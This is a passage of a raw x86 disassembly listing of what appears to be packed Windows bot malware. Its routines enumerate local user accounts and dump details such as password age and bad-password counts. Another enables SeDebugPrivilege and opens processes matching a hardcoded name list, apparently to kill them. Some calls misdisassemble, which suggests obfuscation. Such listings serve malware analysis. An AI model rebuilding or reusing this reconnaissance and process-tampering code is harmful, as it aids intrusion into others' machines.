loc_4196D1:				; CODE XREF: sub_419654+5Bj
		push	eax
		call	sub_419CE8
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4E1070
		push	off_440C48[eax*4]
		push	offset unk_4413C8
		push	esi
		call	sub_41BF36
		add	esp, 18h
		jmp	short loc_419718
; ---------------------------------------------------------------------------


loc_4196F8:				; CODE XREF: sub_419654+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4E1070
		lea	eax, [eax+eax*2]
		push	off_440C48[eax*4]
		push	offset unk_4413A0
		push	esi
		call	sub_41BF36
		add	esp, 0Ch


loc_419718:				; CODE XREF: sub_419654+7Bj
					; sub_419654+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419654	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41971F	proc near		; CODE XREF: sub_419654+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4194CF
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4194CF
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4194CF
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4D10C8
		pop	edi
		leave
		retn
sub_41971F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419779	proc near		; CODE XREF: sub_419654+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4194CF
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4194CF
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4D10B8
		pop	esi
		retn
sub_419779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41979A	proc near		; CODE XREF: sub_419654+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4194CF
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4194CF
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4D1248
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_419B27
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419B62
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41BF36
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_4198B3
		dec	eax
		jz	short loc_4198AC
		dec	eax
		jz	short loc_4198A5
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_4198B8
; ---------------------------------------------------------------------------


loc_4198A5:				; CODE XREF: sub_41979A+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_4198B8
; ---------------------------------------------------------------------------


loc_4198AC:				; CODE XREF: sub_41979A+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_4198B8
; ---------------------------------------------------------------------------


loc_4198B3:				; CODE XREF: sub_41979A+FCj
		mov	eax, offset aGuest ; "Guest"


loc_4198B8:				; CODE XREF: sub_41979A+109j
					; sub_41979A+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4099D2
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419B53
; ---------------------------------------------------------------------------


loc_419B27:				; CODE XREF: sub_41979A+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_441418
		push	eax
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4099D2
		add	esp, 20h


loc_419B53:				; CODE XREF: sub_41979A+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_419B62
		push	[ebp+var_4]
		call	dword_4D1280


loc_419B62:				; CODE XREF: sub_41979A+40j
					; sub_41979A+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_41979A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B68	proc near		; CODE XREF: .nsp0:0040617Dp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4194CF
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 18h


loc_419BA7:				; CODE XREF: sub_419B68+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4D1150
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419C08
		cmp	eax, 0EAh
		jz	short loc_419C08
		push	eax
		push	eax
		call	sub_419CE8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_4415F8
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 24h
		jmp	short loc_419C83
; ---------------------------------------------------------------------------


loc_419C08:				; CODE XREF: sub_419B68+62j
					; sub_419B68+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_419C96
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419C83


loc_419C1A:				; CODE XREF: sub_419B68+EDj
		cmp	edi, esi
		jz	short loc_419C59
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_6	; "  %S"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419C1A
		jmp	short loc_419C83
; ---------------------------------------------------------------------------


loc_419C59:				; CODE XREF: sub_419B68+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_4415C4
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 1Ch


loc_419C83:				; CODE XREF: sub_419B68+9Ej
					; sub_419B68+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_419C96
		push	edi
		call	dword_4D1280
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_419C96:				; CODE XREF: sub_419B68+A5j
					; sub_419B68+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_419BA7
		cmp	edi, esi
		jz	short loc_419CAE
		push	edi
		call	dword_4D1280


loc_419CAE:				; CODE XREF: sub_419B68+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419B68	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CE8	proc near		; CODE XREF: sub_41933E+41p
					; sub_419533+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419D9A
		jz	loc_419D93
		cmp	eax, 7Bh
		ja	short loc_419D5F
		jz	short loc_419D55
		cmp	eax, 5
		jz	short loc_419D4B
		cmp	eax, 8
		jz	short loc_419D41
		cmp	eax, 32h
		jz	short loc_419D37
		cmp	eax, 35h
		jz	short loc_419D2D
		cmp	eax, 57h
		jnz	loc_419DE9
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D2D:				; CODE XREF: sub_419CE8+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D37:				; CODE XREF: sub_419CE8+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D41:				; CODE XREF: sub_419CE8+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D4B:				; CODE XREF: sub_419CE8+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D55:				; CODE XREF: sub_419CE8+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D5F:				; CODE XREF: sub_419CE8+1Aj
		sub	eax, 7Ch
		jz	short loc_419D8C
		sub	eax, 7C8h
		jz	short loc_419D85
		dec	eax
		jz	short loc_419D7B
		dec	eax
		jnz	short loc_419DE9
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D7B:				; CODE XREF: sub_419CE8+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419E0A
; ---------------------------------------------------------------------------


loc_419D85:				; CODE XREF: sub_419CE8+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419D8C:				; CODE XREF: sub_419CE8+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419D93:				; CODE XREF: sub_419CE8+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419D9A:				; CODE XREF: sub_419CE8+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419DD3
		jz	short loc_419DCC
		sub	eax, 8ADh
		jz	short loc_419DFE
		dec	eax
		dec	eax
		jz	short loc_419DC5
		dec	eax
		jz	short loc_419DBE
		dec	eax
		dec	eax
		jnz	short loc_419DE9
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DBE:				; CODE XREF: sub_419CE8+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DC5:				; CODE XREF: sub_419CE8+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DCC:				; CODE XREF: sub_419CE8+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DD3:				; CODE XREF: sub_419CE8+B9j
		sub	eax, 8CAh
		jz	short loc_419E05
		sub	eax, 17h
		jz	short loc_419DFE
		sub	eax, 25h
		jz	short loc_419DF7
		sub	eax, 29h
		jz	short loc_419DF0


loc_419DE9:				; CODE XREF: sub_419CE8+35j
					; sub_419CE8+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DF0:				; CODE XREF: sub_419CE8+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DF7:				; CODE XREF: sub_419CE8+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419DFE:				; CODE XREF: sub_419CE8+C2j
					; sub_419CE8+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419E0A
; ---------------------------------------------------------------------------


loc_419E05:				; CODE XREF: sub_419CE8+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419E0A:				; CODE XREF: sub_419CE8+40j
					; sub_419CE8+4Aj ...
		push	offset dword_4E0E10
		call	sub_41BF36
		pop	ecx
		mov	eax, offset dword_4E0E10
		pop	ecx
		retn
sub_419CE8	endp

; ---------------------------------------------------------------------------


loc_419E1C:				; CODE XREF: .nsp0:004061C3p
		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-718h]
		push	eax
		call	sub_41DF04
		add	esp, 0Ch
		lea	eax, [ebp+8]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp-108h]
		push	eax
		mov	[ebp+8], esi
		call	near ptr 0B40000h
		sbb	al, 8Dh
		test	edi, eax
; ---------------------------------------------------------------------------
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	esi
		push	eax
		lea	eax, [ebp-318h]
		push	eax
		call	sub_41DF04
		lea	eax, [ebp-718h]
		push	eax
		call	sub_41DEE7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp-718h]
		push	eax
		lea	eax, [ebp-318h]
		push	0
		push	eax
		push	0
		call	dword_4D1200
		test	eax, eax
		jnz	short loc_419EAC
		mov	esi, offset dword_4E0C0C
		push	offset unk_44192C
		push	esi
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_419ED5
; ---------------------------------------------------------------------------


loc_419EAC:				; CODE XREF: .nsp0:00419E96j
		lea	ecx, [ebp-718h]
		push	ecx
		lea	ecx, [ebp-318h]
		push	ecx
		push	eax
		call	sub_419CE8
		pop	ecx
		mov	esi, offset dword_4E0C0C
		push	eax
		push	offset dword_441900
		push	esi
		call	sub_41BF36
		add	esp, 14h


loc_419ED5:				; CODE XREF: .nsp0:00419EAAj
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EDA	proc near		; CODE XREF: sub_417517+45p
					; sub_417517+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 0B40000h
		xchg	eax, edx
		push	eax
		call	dword_4D11D4	; OpenProcessToken
		test	eax, eax
		jnz	short loc_419EF9
		leave
		retn
; ---------------------------------------------------------------------------


loc_419EF9:				; CODE XREF: sub_419EDA+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4D11AC	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_419F37
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419F20
		or	[ebp+var_8], 2
		jmp	short loc_419F24
; ---------------------------------------------------------------------------


loc_419F20:				; CODE XREF: sub_419EDA+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419F24:				; CODE XREF: sub_419EDA+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4D125C	; AdjustTokenPrivileges
		mov	esi, eax


loc_419F37:				; CODE XREF: sub_419EDA+32j
		push	[ebp+var_4]
		call	dword_42706C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419EDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F45	proc near		; CODE XREF: .nsp0:00409352p
					; sub_41A174+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4D1210, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_41A144
		cmp	dword_4D11F4, ebx
		jz	loc_41A144
		cmp	dword_4D1104, ebx
		jz	loc_41A144
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419EDA
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4D1210	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_41A137
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4D11F4	; Process32First
		mov	esi, dword_42706C
		test	eax, eax
		jz	loc_41A132
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4D1104	; Process32Next
		test	eax, eax
		jz	loc_41A132
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_41A009:				; CODE XREF: sub_419F45+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_41A070
		mov	[ebp+var_4], offset off_441958


loc_41A017:				; CODE XREF: sub_419F45+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_427188	; lstrcmpiA
		test	eax, eax
		jz	short loc_41A03F
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_4419B8
		jl	short loc_41A017
		jmp	loc_41A118
; ---------------------------------------------------------------------------


loc_41A03F:				; CODE XREF: sub_419F45+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi ; dword_427084
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41A118
		push	0
		push	eax
		call	near ptr 0B40000h
		push	ss
		test	eax, eax
		jnz	loc_41A118


loc_41A066:				; CODE XREF: sub_419F45+1B9j
		push	[ebp+var_4]
		call	esi ; dword_42706C
		jmp	loc_41A118
; ---------------------------------------------------------------------------


loc_41A070:				; CODE XREF: sub_419F45+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41A103
		cmp	[ebp+arg_4], eax
		jz	loc_41A118
		push	[ebp+var_128]
		push	8
		call	dword_4D1210	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41A0C3
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4D10B0	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_41A0C9
		lea	eax, [ebp+var_234]
		jmp	short loc_41A0CF
; ---------------------------------------------------------------------------


loc_41A0C3:				; CODE XREF: sub_419F45+15Cj
		push	[ebp+var_128]


loc_41A0C9:				; CODE XREF: sub_419F45+174j
		lea	eax, [ebp+var_10C]


loc_41A0CF:				; CODE XREF: sub_419F45+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41BF36
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_41A066
; ---------------------------------------------------------------------------


loc_41A103:				; CODE XREF: sub_419F45+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A14B


loc_41A118:				; CODE XREF: sub_419F45+F5j
					; sub_419F45+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4D1104	; Process32Next
		test	eax, eax
		jnz	loc_41A009
		xor	ebx, ebx


loc_41A132:				; CODE XREF: sub_419F45+9Dj
					; sub_419F45+B3j
		push	[ebp+var_8]
		call	esi ; dword_42706C


loc_41A137:				; CODE XREF: sub_419F45+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419EDA
		pop	ecx
		pop	ecx


loc_41A144:				; CODE XREF: sub_419F45+3Aj
					; sub_419F45+46j ...
		xor	eax, eax


loc_41A146:				; CODE XREF: sub_419F45+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A14B:				; CODE XREF: sub_419F45+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi ; dword_427084
		push	[ebp+var_8]
		mov	edi, eax
		call	esi ; dword_42706C
		push	0
		push	edi
		call	near ptr 0B40000h
		das
		test	eax, eax
		jnz	short loc_41A16F
		push	edi
		call	esi ; dword_42706C
		jmp	short loc_41A144
; ---------------------------------------------------------------------------


loc_41A16F:				; CODE XREF: sub_419F45+223j
		push	1
		pop	eax
		jmp	short loc_41A146
sub_419F45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A174	proc near		; DATA XREF: .nsp0:0040419Do

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_441B58
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41BF36
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41A1D3
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_4099D2
		add	esp, 14h


loc_41A1D3:				; CODE XREF: sub_41A174+3Dj
